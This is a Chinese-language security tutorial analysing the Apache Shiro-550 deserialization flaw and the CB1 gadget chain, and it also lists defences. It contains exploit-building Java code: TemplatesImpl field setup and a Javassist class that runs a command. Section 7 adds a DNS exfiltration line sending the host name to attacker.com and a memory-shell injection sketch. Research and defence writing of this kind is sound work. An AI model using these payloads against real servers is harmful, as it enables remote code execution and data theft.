1. Shiro反序列化漏洞与CB1链背景解析
在Java安全领域,Shiro框架的反序列化漏洞一直是攻防研究的重点课题。作为一名长期从事Java安全研究的老兵,我见证了从Shiro-550到Shiro-721等多个经典漏洞的发现与利用过程。今天要深入剖析的CB1利用链,正是Shiro-550漏洞中最经典的无CC依赖利用方式。
为什么说这个漏洞如此重要?因为在企业级应用中,Apache Shiro作为轻量级安全框架被广泛使用,而默认的rememberMe功能采用AES加密+序列化的设计,使得反序列化漏洞成为攻击者最青睐的突破口。不同于需要Commons Collections依赖的传统利用链,CB1链仅依赖JDK和Shiro自身组件,使得攻击门槛大幅降低。
2. 反序列化漏洞三大核心要素
理解任何反序列化漏洞都需要把握三个关键概念,我习惯称之为"漏洞三要素":
2.1 入口点(Source) - 漏洞触发起点
在Shiro场景下,入口点是Cookie中rememberMe字段的base64解码和AES解密后的数据,最终触发PriorityQueue#readObject方法。这个设计本是为了方便用户保持登录状态,却成了安全噩梦的开始。
java复制// 典型Shiro反序列化触发流程
byte[] decoded = Base64.decode(rememberMeCookie);
byte[] serialized = decrypt(decoded, encryptionKey);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serialized));
Object obj = ois.readObject(); // 反序列化触发点
2.2 执行点(Sink) - 最终危险操作
CB1链的执行点是TemplatesImpl#newTransformer()方法,通过动态类加载机制执行任意字节码。这个类原本是用于XSLT转换的,但其内部defineClass的能力被攻击者巧妙利用。
2.3 调用链(Gadget Chain) - 连接入口与执行的桥梁
完整的CB1调用链如下所示,这条路径就像精心设计的多米诺骨牌,每个环节都必须完美衔接:
code复制PriorityQueue#readObject
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> BeanComparator#compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl#getOutputProperties()
-> newTransformer()
-> getTransletInstance()
-> defineTransletClasses()
-> defineClass() // RCE达成
3. CB1链核心技术原理拆解
3.1 JavaBean属性访问机制
PropertyUtils.getProperty的魔法在于它遵循JavaBean规范自动调用getter方法。比如:
java复制// 常规调用
person.getName();
// 通过PropertyUtils调用
PropertyUtils.getProperty(person, "name"); // 自动调用getName()
当这个机制遇到TemplatesImpl类时,访问outputProperties属性实际上调用了getOutputProperties()方法,而这个方法内部会触发newTransformer()调用链。
3.2 动态类加载机制
TemplatesImpl类的危险之处在于它内置了类加载能力:
java复制// 恶意类加载示例
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(EvilClass.class.getName());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(obj, "_name", "Evil");
obj.newTransformer(); // 触发恶意类加载
3.3 比较器触发链条
BeanComparator是关键跳板,它通过比较操作触发属性访问:
java复制// 构造恶意比较器
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templatesImpl); // 注入恶意TemplatesImpl对象
4. 完整利用链分步解析
4.1 入口点构造
PriorityQueue的readObject是整条链的起点,攻击者通过精心构造的队列对象触发后续流程:
java复制// 反序列化时触发的方法调用链
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
heapify(); // 关键触发点
}
4.2 调用链展开
-
JDK原生链部分:
heapify()->siftDown()- 当队列size≥2时进入
siftDownUsingComparator() - 触发
comparator.compare()调用
-
CB链部分:
BeanComparator#compare()调用PropertyUtils.getProperty()- 属性访问触发
TemplatesImpl#getOutputProperties()
4.3 最终执行点
TemplatesImpl的执行链需要满足四个关键条件:
_bytecodes字段包含恶意类字节码_name字段不为null_tfactory字段初始化为TransformerFactoryImpl实例_class字段为空(触发类加载)
java复制// 完整恶意对象构造
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytes});
setFieldValue(templates, "_name", "pwn");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
5. 实战利用与防御建议
5.1 漏洞利用条件检查
在真实环境中利用CB1链需要确认:
- Shiro版本≤1.2.4
- 使用默认AES密钥(可通过公开密钥字典爆破)
- 目标环境没有配置反序列化过滤器
5.2 防御方案
根据实战经验,我推荐多层防御策略:
-
基础防护:
java复制// 升级Shiro版本并配置自定义密钥 securityManager.setRememberMeManager(new CookieRememberMeManager() { @Override public void setCipherKey(byte[] cipherKey) { super.setCipherKey(customKey); } }); -
高级防护:
- 启用Java反序列化过滤器(JEP 290)
- 使用白名单控制可反序列化的类
-
应急方案:
properties复制# 临时禁用rememberMe功能 shiro.rememberMe.enabled=false
6. 深度技术细节与避坑指南
6.1 字节码构造技巧
制作有效的攻击字节码时要注意:
- 类必须实现
Translet接口 - 避免使用Java高版本特性(保持兼容性)
- 推荐使用Javassist动态生成:
java复制ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("Evil");
clazz.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
clazz.makeClassInitializer().setBody("{ Runtime.getRuntime().exec(\"calc\"); }");
byte[] bytecode = clazz.toBytecode();
6.2 常见失败原因排查
-
类加载失败:
- 检查
_bytecodes是否为二维数组 - 确认类实现了
Serializable和Translet
- 检查
-
执行中断:
- 确保
_name字段不为null _tfactory必须正确初始化
- 确保
-
防御绕过:
- 尝试不同AES加密模式(CBC/GCM)
- 测试不同Padding方案
7. 进阶研究与衍生思考
7.1 无输出型攻击
在内网渗透中,可以通过DNS外带或内存马实现无回显攻击:
java复制// DNS外带示例
clazz.makeClassInitializer().setBody(
"new java.net.URL(\"http://\" + System.getenv(\"COMPUTERNAME\") + \".attacker.com\").openConnection().getContent();"
);
7.2 内存马注入
结合反序列化实现无文件内存马:
java复制// Tomcat Filter内存马示例
clazz.makeClassInitializer().setBody(
"javax.servlet.Filter filter = new EvilFilter();" +
"org.apache.catalina.core.ApplicationContext context = ...;" +
"context.addFilter(...);"
);
7.3 检测与对抗
企业安全团队应该:
- 部署RASP检测异常类加载行为
- 监控
TemplatesImpl的实例化操作 - 建立反序列化流量基线
在安全研究中,理解漏洞原理永远比掌握利用工具更重要。CB1链的精妙之处在于它完美结合了Java语言特性和框架设计缺陷,这种思维方式值得每个安全从业者学习。